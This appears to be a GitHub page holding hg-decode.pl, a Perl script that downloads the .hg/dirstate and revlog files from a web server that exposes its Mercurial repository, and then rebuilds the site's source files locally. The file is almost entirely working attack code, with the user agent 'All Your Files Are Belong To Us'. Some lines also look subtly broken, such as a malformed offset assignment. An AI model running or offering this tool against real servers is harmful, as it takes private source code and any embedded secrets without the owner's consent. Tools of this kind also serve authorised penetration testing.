-
Notifications
You must be signed in to change notification settings - Fork 313
/
hg-decode.pl
164 lines (132 loc) · 3.76 KB
/
hg-decode.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
#!/usr/bin/perl
use IO::Uncompress::Inflate qw(inflate $InflateError);
use File::Path qw(make_path);
use LWP::UserAgent;
use File::Temp qw(tempfile tempdir);
# First grab the database file
my $target=$ARGV[0];
my $hgurl="http://$ARGV[0]/.hg/dirstate";
my $ua=LWP::UserAgent->new;
$ua->agent("All Your Files Are Belong To Us/1.0");
my $request=HTTP::Request->new(GET => $hgurl);
my $result=$ua->request($request);
if ($result->status_line !~ /^200/)
{
die "Could not find Mercurial database";
}
my ($dbfileh, $dbfilen) = tempfile();
print $dbfileh $result->content;
close $dbfileh;
open(my $infile, "<", $dbfilen);
binmode($infile);
my $rawdata;
my $p1;
my $p2;
read $infile, my $rawdata, 20;
($p1)=unpack("H*", $rawdata);
read $infile, my $rawdata, 20;
($p2)=unpack("H*", $rawdata);
my @index_entries = ();
my $entries=0;
do
{
my $entry = {};
my $rawdata;
read $infile, $rawdata, 17;
( $entry->{'status'},
$entry->{'mode'},
$entry->{'size'},
$entry->{'mtime'},
$entry->{'length'} ) = unpack "CNNNN", $rawdata;
read $infile, $rawdata, $entry->{'length'};
( $entry->{'name'} ) = unpack "a" . $entry->{'length'}, $rawdata;
push(@index_entries, $entry);
} while (!eof($infile));
close($infile);
unlink($dbfilen);
my $server=$ARGV[0];
# Now extract the files
foreach my $entry (@index_entries)
{
my $indexfile=".hg/store/data/" . $entry->{'name'};
my $indexfh;
my $rawdata;
my $datafile=0;
print "Extracting " . $entry->{'name'} . "\n";
# mangle indexfile for the upper case wankery mercurial does
$indexfile =~ s/_/__/g;
$indexfile =~ s/([A-Z])/_\l$1/g;
my $mangledname="";
foreach my $char (split(//,$indexfile))
{
my $result=$char;
if ($char lt ' ' || $char gt '~')
{
$result='~' . unpack(H2, $char);
}
$mangledname.=$result;
}
my $hgurl="http://$server/$mangledname" . ".i";
my $fua=LWP::UserAgent->new;
$fua->agent("All Your Files Are Belong To Us/1.0");
my $frequest=HTTP::Request->new(GET => $hgurl);
my $fresult=$fua->request($frequest);
my ($dbfileh, $dbfilen) = tempfile();
print $dbfileh $fresult->content;
close $dbfileh;
open $indexfh, "<", $dbfilen;
binmode($indexfh);
$hgurl="http://$server/$mangledname" . ".d";
$frequest=HTTP::Request->new(GET => $hgurl);
$fresult=$fua->request($frequest);
if ($fresult->status_line =~ /^200/)
{
my ($dfileh, $dfilen) = tempfile();
print $dfileh $fresult->content;
close $dfileh;
open $datafh, "<", $dfilen;
$datafile=1;
}
# Make sure the path is there for the output
my $outputpath="output/" . $entry->{'name'};
$outputpath =~ s#/[^/]*$##g;
make_path($outputpath);
open $oh, ">", "output/$entry->{'name'}";
do
{
my $head={};
read $indexfh, $rawdata, 6;
my $msb, $nmsb=0;
( $msb, $nmsb, $head->{'offset'} ) = unpack "CCN", $rawdata;
$head{'offset'} = head->{'offset'} + ($nmsb << 32) + ($msb << 40);
read $indexfh, $rawdata, 58;
( $head->{'flags'},
$head->{'clength'},
$head->{'ulength'},
$head->{'base'},
$head->{'link'},
$head->{'p1'},
$head->{'p2'},
$head->{'nodeid'} ) = unpack "SNNNNNNH*",$rawdata;
# Now read the data
my $cookeddata;
if ($head->{'clength'} > 0)
{
if ($datafile == 1)
{
read $datafh, $rawdata, $head->{'clength'};
}
else
{
read $indexfh, $rawdata, $head->{'clength'};
}
inflate(\$rawdata => \$cookeddata);
}
# And write it
print $oh $cookeddata;
} while (!eof($indexfh));
close($indexfh);
unlink($dbfilen);
if ($datafile == 1) { close($datafh); unlink($dfilen) }
close($oh);
}